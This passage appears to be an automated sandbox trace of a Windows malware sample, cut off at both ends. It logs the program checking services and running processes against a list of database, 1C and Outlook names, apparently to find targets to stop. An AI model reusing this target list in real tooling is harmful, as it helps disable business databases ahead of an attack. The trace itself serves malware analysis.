lpString2="SENS") returned 1 [0054.847] lstrlenW (lpString="ShellHWDetection") returned 16 [0054.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0054.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0054.847] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0054.847] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0054.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0054.847] lstrlenW (lpString="Spooler") returned 7 [0054.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0054.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0054.847] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0054.847] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0054.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0054.847] lstrlenW (lpString="swprv") returned 5 [0054.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0054.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0054.847] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0054.847] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0054.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0054.847] lstrlenW (lpString="SysMain") returned 7 [0054.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0054.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0054.847] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0054.847] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0054.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0054.847] lstrlenW (lpString="Themes") returned 6 [0054.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0054.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0054.847] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0054.847] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0054.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0054.847] lstrlenW (lpString="TrkWks") returned 6 [0054.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0054.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0054.847] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0054.847] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0054.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0054.848] lstrlenW (lpString="UxSms") returned 5 [0054.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0054.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0054.848] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0054.848] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0054.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0054.848] lstrlenW (lpString="VSS") returned 3 [0054.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0054.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0054.848] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0054.848] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0054.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0054.848] lstrlenW (lpString="WdiServiceHost") returned 14 [0054.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0054.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0054.848] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0054.848] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0054.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0054.848] lstrlenW (lpString="WdiSystemHost") returned 13 [0054.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0054.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0054.848] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0054.848] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0054.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0054.848] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0054.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0054.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0054.848] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0054.848] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0054.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0054.848] lstrlenW (lpString="Winmgmt") returned 7 [0054.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0054.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0054.848] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0054.848] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0054.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0054.849] lstrlenW (lpString="WPDBusEnum") returned 10 [0054.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0054.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0054.849] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0054.849] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0054.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0054.849] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x4023080 | out: hHeap=0x6c0000) returned 1 [0054.849] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1dc [0054.851] Process32FirstW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0054.851] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0054.852] lstrlenW (lpString="System") returned 6 [0054.852] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0054.852] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0054.852] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0054.852] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0054.852] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0054.852] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0054.852] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0054.852] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0054.853] lstrlenW (lpString="smss.exe") returned 8 [0054.853] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0054.853] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0054.853] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0054.853] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0054.853] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0054.853] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0054.853] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0054.853] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0054.853] lstrlenW (lpString="csrss.exe") returned 9 [0054.853] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0054.853] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0054.853] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0054.853] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0054.853] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0054.853] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0054.853] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0054.853] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0054.854] lstrlenW (lpString="wininit.exe") returned 11 [0054.854] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0054.854] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0054.854] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0054.854] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0054.854] lstrlenW (lpString="csrss.exe") returned 9 [0054.854] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0054.855] lstrlenW (lpString="winlogon.exe") returned 12 [0054.855] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0054.855] lstrlenW (lpString="services.exe") returned 12 [0054.855] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0054.856] lstrlenW (lpString="lsass.exe") returned 9 [0054.856] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0054.856] lstrlenW (lpString="lsm.exe") returned 7 [0054.856] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.857] lstrlenW (lpString="svchost.exe") returned 11 [0054.857] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.857] lstrlenW (lpString="svchost.exe") returned 11 [0054.857] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.858] lstrlenW (lpString="svchost.exe") returned 11 [0054.858] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.858] lstrlenW (lpString="svchost.exe") returned 11 [0054.858] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.859] lstrlenW (lpString="svchost.exe") returned 11 [0054.859] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0054.859] lstrlenW (lpString="audiodg.exe") returned 11 [0054.859] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.859] lstrlenW (lpString="svchost.exe") returned 11 [0054.859] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.860] lstrlenW (lpString="svchost.exe") returned 11 [0054.860] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0054.860] lstrlenW (lpString="dwm.exe") returned 7 [0054.860] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0054.861] lstrlenW (lpString="explorer.exe") returned 12 [0054.861] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0054.861] lstrlenW (lpString="spoolsv.exe") returned 11 [0054.861] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0054.862] lstrlenW (lpString="taskhost.exe") returned 12 [0054.862] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.862] lstrlenW (lpString="svchost.exe") returned 11 [0054.862] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0054.863] lstrlenW (lpString="taskeng.exe") returned 11 [0054.863] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0054.863] lstrlenW (lpString="taskhost.exe") returned 12 [0054.863] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="br_maintaining.exe")) returned 1 [0054.864] lstrlenW (lpString="br_maintaining.exe") returned 18 [0054.864] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kitsenormous.exe")) returned 1 [0054.864] lstrlenW (lpString="kitsenormous.exe") returned 16 [0054.864] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intermediate-components.exe")) returned 1 [0054.865] lstrlenW (lpString="intermediate-components.exe") returned 27 [0054.865] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eminem_immigration.exe")) returned 1 [0054.865] lstrlenW (lpString="eminem_immigration.exe") returned 22 [0054.865] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp-glenn-elements.exe")) returned 1 [0054.866] lstrlenW (lpString="psp-glenn-elements.exe") returned 22 [0054.866] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stupid.exe")) returned 1 [0054.866] lstrlenW (lpString="stupid.exe") returned 10 [0054.866] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="area_burst_factors.exe")) returned 1 [0054.867] lstrlenW (lpString="area_burst_factors.exe") returned 22 [0054.867] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="addition.exe")) returned 1 [0054.867] lstrlenW (lpString="addition.exe") returned 12 [0054.867] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kept retirement.exe")) returned 1 [0054.868] lstrlenW (lpString="kept retirement.exe") returned 19 [0054.868] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lmmold.exe")) returned 1 [0054.868] lstrlenW (lpString="lmmold.exe") returned 10 [0054.868] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma weighted.exe")) returned 1 [0054.869] lstrlenW (lpString="soma weighted.exe") returned 17 [0054.869] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cartridge donation.exe")) returned 1 [0054.869] lstrlenW (lpString="cartridge donation.exe") returned 22 [0054.869] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="anti.exe")) returned 1 [0054.870] lstrlenW (lpString="anti.exe") returned 8 [0054.870] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiersshot.exe")) returned 1 [0054.870] lstrlenW (lpString="cashiersshot.exe") returned 16 [0054.870] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poundfi.exe")) returned 1 [0054.871] lstrlenW (lpString="poundfi.exe") returned 11 [0054.871] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditions_hired.exe")) returned 1 [0054.871] lstrlenW (lpString="conditions_hired.exe") returned 20 [0054.871] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mercedes.exe")) returned 1 [0054.872] lstrlenW (lpString="mercedes.exe") returned 12 [0054.872] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intake ringtones vegetables.exe")) returned 1 [0054.872] lstrlenW (lpString="intake ringtones vegetables.exe") returned 31 [0054.872] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="training_wiring.exe")) returned 1 [0054.873] lstrlenW (lpString="training_wiring.exe") returned 19 [0054.873] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="democratic.exe")) returned 1 [0054.873] lstrlenW (lpString="democratic.exe") returned 14 [0054.873] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soc_housewares_senate.exe")) returned 1 [0054.874] lstrlenW (lpString="soc_housewares_senate.exe") returned 25 [0054.874] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receptors trustees ul.exe")) returned 1 [0054.874] lstrlenW (lpString="receptors trustees ul.exe") returned 25 [0054.874] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="documented.exe")) returned 1 [0054.875] lstrlenW (lpString="documented.exe") returned 14 [0054.875] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0054.875] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0054.875] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: 